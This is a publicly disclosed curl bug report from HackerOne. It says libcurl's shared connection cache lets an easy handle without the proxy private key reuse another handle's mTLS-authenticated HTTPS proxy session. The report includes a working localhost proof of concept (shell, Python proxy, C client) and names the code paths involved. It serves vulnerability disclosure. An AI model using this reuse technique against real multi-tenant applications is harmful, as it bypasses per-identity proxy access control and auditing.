HexBrain

curl · Report #3735180

HTTPS proxy connection reuse lets one easy handle inherit another handle's mTLS-authenticated proxy session

Duplicatestatus
mediumseverity
6upvotes
24 Jun 2026disclosed

How it was found

Summary:

libcurl can reuse an already mTLS-authenticated HTTPS proxy TLS connection for a different easy handle even when that second handle does not have the proxy private key required to establish the session itself. The issue happens because the HTTPS proxy connection reuse identity does not include proxy client-auth fields such as CURLOPT_PROXY_SSLKEY, so a connection created under one handle's proxy identity can be silently reused by another handle sharing the same connection cache. In my validated PoC, handle A establishes the proxy TLS connection with the correct client key, handle B reuses that connection and successfully requests /secret without having the correct proxy private key, and the same request fails immediately when CURLOPT_FRESH_CONNECT is forced. This is not an undocumented API misuse case: shared connection caches are a documented libcurl feature and the multi interface shares the connection pool by default. The bug causes session and identity bleed across logical requests.

Affected version

Validated locally on:

curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2

Features included HTTPS-proxy.

Steps To Reproduce:

  1. From the repository root, run the following self-contained script:

    TMPDIR="$(mktemp -d)"
    trap 'rm -rf "$TMPDIR"' EXIT
    CERTDIR="$TMPDIR/certs"
    mkdir -p "$CERTDIR"
    
    cat >"$TMPDIR/server.py" <<'PY'
    #!/usr/bin/env python3
    import socket
    import ssl
    import sys
    
    def recv_headers(sock, pending):
        while b"\r\n\r\n" not in pending:
            chunk = sock.recv(4096)
            if not chunk:
                raise EOFError
            pending += chunk
        head, pending = pending.split(b"\r\n\r\n", 1)
        return head, pending
    
    def main():
        port = int(sys.argv[1])
        cert = sys.argv[2]
        key = sys.argv[3]
        ca = sys.argv[4]
    
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.load_cert_chain(cert, key)
        ctx.load_verify_locations(cafile=ca)
        ctx.verify_mode = ssl.CERT_REQUIRED
    
        lsock = socket.socket()
        lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        lsock.bind(("127.0.0.1", port))
        lsock.listen(5)
        print(f"LISTEN {lsock.getsockname()[1]}", flush=True)
    
        accepts = 0
        while True:
            csock, addr = lsock.accept()
            accepts += 1
            print(f"ACCEPT {accepts} {addr}", flush=True)
            try:
                ssock = ctx.wrap_socket(csock, server_side=True)
            except Exception as exc:
                print(f"HANDSHAKE_FAIL {exc!r}", flush=True)
                csock.close()
                continue
    
            subject = ssock.getpeercert().get("subject", ())
            pending = b""
            reqs = 0
            ssock.settimeout(10)
            try:
                head, pending = recv_headers(ssock, pending)
                line = head.split(b"\r\n", 1)[0].decode("latin1")
                print(f"CONNECT {accepts} {line} subj={subject}", flush=True)
                ssock.sendall(
                    b"HTTP/1.1 200 Connection established\r\n"
                    b"Proxy-Agent: test\r\n\r\n"
                )
    
                while True:
                    head, pending = recv_headers(ssock, pending)
                    line = head.split(b"\r\n", 1)[0].decode("latin1")
                    reqs += 1
                    print(f"TUNNELREQ {accepts}.{reqs} {line}", flush=True)
                    body = f"tunnel accept={accepts} req={reqs}\n".encode()
                    response = (
                        b"HTTP/1.1 200 OK\r\n"
                        + f"Content-Length: {len(body)}\r\n".encode()
                        + b"Content-Type: text/plain\r\n"
                        + b"Connection: keep-alive\r\n\r\n"
                        + body
                    )
                    ssock.sendall(response)
            except Exception as exc:
                print(f"CLOSE {accepts} {type(exc).__name__}", flush=True)
            finally:
                try:
                    ssock.close()
                except Exception:
                    pass
    
    if __name__ == "__main__":
        main()
    PY
    
    cat >"$TMPDIR/client.c" <<'EOF'
    #include <curl/curl.h>
    #include <stdio.h>
    #include <string.h>
    
    struct response { char data[4096]; size_t len; };
    
    static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata) {
      struct response *resp = userdata;
      size_t total = size * nmemb;
      size_t avail = sizeof(resp->data) - resp->len - 1;
      if(total > avail)
        total = avail;
      memcpy(resp->data + resp->len, ptr, total);
      resp->len += total;
      resp->data[resp->len] = '\0';
      return size * nmemb;
    }
    
    static CURLcode do_req(CURL *easy, const char *label, struct response *resp) {
      CURLcode rc;
      resp->len = 0;
      resp->data[0] = '\0';
      fprintf(stderr, "\n== %s ==\n", label);
      rc = curl_easy_perform(easy);
      if(rc == CURLE_OK) {
        long code = 0;
        curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &code);
        fprintf(stderr, "%s: success http=%ld body=%s", label, code, resp->data);
      }
      else {
        fprintf(stderr, "%s: failed %d (%s)\n", label, (int)rc,
                curl_easy_strerror(rc));
      }
      return rc;
    }
    
    static CURL *easy_init_common(CURLSH *share, const char *url,
                                  const char *proxy_url, const char *proxy_ca,
                                  const char *client_cert, const char *client_key,
                                  struct response *resp) {
      CURL *easy = curl_easy_init();
      if(!easy)
        return NULL;
      curl_easy_setopt(easy, CURLOPT_SHARE, share);
      curl_easy_setopt(easy, CURLOPT_URL, url);
      curl_easy_setopt(easy, CURLOPT_PROXY, proxy_url);
      curl_easy_setopt(easy, CURLOPT_HTTPPROXYTUNNEL, 1L);
      curl_easy_setopt(easy, CURLOPT_PROXY_CAINFO, proxy_ca);
      curl_easy_setopt(easy, CURLOPT_PROXY_SSLCERT, client_cert);
      curl_easy_setopt(easy, CURLOPT_PROXY_SSLKEY, client_key);
      curl_easy_setopt(easy, CURLOPT_PROXY_SSL_VERIFYPEER, 1L);
      curl_easy_setopt(easy, CURLOPT_PROXY_SSL_VERIFYHOST, 2L);
      curl_easy_setopt(easy, CURLOPT_VERBOSE, 1L);
      curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, sink);
      curl_easy_setopt(easy, CURLOPT_WRITEDATA, resp);
      return easy;
    }
    
    int main(int argc, char **argv) {
      CURLcode rc = CURLE_OK;
      CURL *priv = NULL, *unpriv = NULL;
      CURLSH *share = NULL;
      struct response resp;
      char proxy_url[256];
    
      if(argc != 6)
        return 2;
    
      snprintf(proxy_url, sizeof(proxy_url), "https://localhost:%s", argv[1]);
      curl_global_init(CURL_GLOBAL_DEFAULT);
      share = curl_share_init();
      curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
    
      priv = easy_init_common(share, "http://example.com/bootstrap",
                              proxy_url, argv[2], argv[3], argv[4], &resp);
      rc = do_req(priv, "priv_handle_req1_bootstrap", &resp);
      if(rc) goto out;
    
      unpriv = easy_init_common(share, "http://example.com/secret",
                                proxy_url, argv[2], argv[3], argv[5], &resp);
      rc = do_req(unpriv, "unpriv_handle_req2_secret_reuse_allowed", &resp);
      if(rc) goto out;
    
      curl_easy_setopt(unpriv, CURLOPT_FRESH_CONNECT, 1L);
      rc = do_req(unpriv, "unpriv_handle_req3_secret_fresh_connect", &resp);
    
    out:
      if(unpriv) curl_easy_cleanup(unpriv);
      if(priv) curl_easy_cleanup(priv);
      if(share) curl_share_cleanup(share);
      curl_global_cleanup();
      return (int)rc;
    }
    EOF
    
    cc "$TMPDIR/client.c" -o "$TMPDIR/client" -lcurl
    
    openssl req -x509 -newkey rsa:2048 -nodes \
      -keyout "$CERTDIR/ca.key" -out "$CERTDIR/ca.crt" -days 1 \
      -subj '/CN=proxy-reuse-ca' >/dev/null 2>&1
    openssl req -newkey rsa:2048 -nodes \
      -keyout "$CERTDIR/proxy.key" -out "$CERTDIR/proxy.csr" \
      -subj '/CN=localhost' \
      -addext 'subjectAltName=DNS:localhost,IP:127.0.0.1' >/dev/null 2>&1
    openssl x509 -req -in "$CERTDIR/proxy.csr" -CA "$CERTDIR/ca.crt" \
      -CAkey "$CERTDIR/ca.key" -CAcreateserial -out "$CERTDIR/proxy.crt" \
      -days 1 -copy_extensions copy >/dev/null 2>&1
    openssl req -newkey rsa:2048 -nodes \
      -keyout "$CERTDIR/client.key" -out "$CERTDIR/client.csr" \
      -subj '/CN=proxy-mtls-client' \
      -addext 'extendedKeyUsage=clientAuth' >/dev/null 2>&1
    openssl x509 -req -in "$CERTDIR/client.csr" -CA "$CERTDIR/ca.crt" \
      -CAkey "$CERTDIR/ca.key" -CAcreateserial -out "$CERTDIR/client.crt" \
      -days 1 -copy_extensions copy >/dev/null 2>&1
    
    python3 -u "$TMPDIR/server.py" 0 "$CERTDIR/proxy.crt" "$CERTDIR/proxy.key" \
      "$CERTDIR/ca.crt" >"$TMPDIR/server.log" 2>&1 &
    SERVER_PID=$!
    trap 'kill $SERVER_PID 2>/dev/null || true; rm -rf "$TMPDIR"' EXIT
    
    for _ in $(seq 1 50); do
      grep -q '^LISTEN ' "$TMPDIR/server.log" && break
      sleep 0.1
    done
    PORT="$(awk '/^LISTEN / {print $2; exit}' "$TMPDIR/server.log")"
    
    "$TMPDIR/client" "$PORT" "$CERTDIR/ca.crt" "$CERTDIR/client.crt" \
      "$CERTDIR/client.key" "$CERTDIR/proxy.key" >"$TMPDIR/client.log" 2>&1 || true
    
    cat "$TMPDIR/client.log"
    echo
    cat "$TMPDIR/server.log"
    
  2. The script automatically:

    • creates a local CA, HTTPS proxy certificate, and proxy client certificate
    • starts a local HTTPS proxy that requires client certificates
    • creates a shared connection cache using CURLSHOPT_SHARE with CURL_LOCK_DATA_CONNECT
    • uses handle A with the correct proxy client certificate and private key to establish the authenticated HTTPS proxy TLS connection
    • uses handle B with the same public certificate path but the wrong private key to request /secret
    • retries handle B with CURLOPT_FRESH_CONNECT as a control
  3. Successful reproduction is shown by all of the following:

    • client log contains:

      Reusing existing http: connection with proxy localhost
      
    • proxy log shows:

      TUNNELREQ 1.1 GET /bootstrap HTTP/1.1
      TUNNELREQ 1.2 GET /secret HTTP/1.1
      

      proving that handle B's /secret request ran on the same already-authenticated proxy TLS connection established by handle A

    • the fresh-connect control fails with:

      unable to set private key file: '.../proxy.key' type PEM
      
  4. Relevant code paths:

    • proxy reuse gate: lib/url.c:856
    • reuse matcher: lib/vtls/vtls.c:194
    • proxy client-auth fields populated in ssl_config_data: lib/vtls/vtls.c:371
    • only proxy_ssl.primary cloned onto the reusable connection object: lib/vtls/vtls.c:405

Impact

Summary:

An easy handle that does not possess the proxy private key can still send traffic through an already-authenticated HTTPS proxy TLS session created by another easy handle that shares the connection cache. In applications that use per-request or per-tenant proxy mTLS identities, this breaks logical isolation and can let a lower-privilege request inherit a higher-privilege proxy-authenticated channel. In practice, that can undermine proxy-side access control, egress policy separation, and auditing assumptions tied to the client certificate identity presented to the HTTPS proxy.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original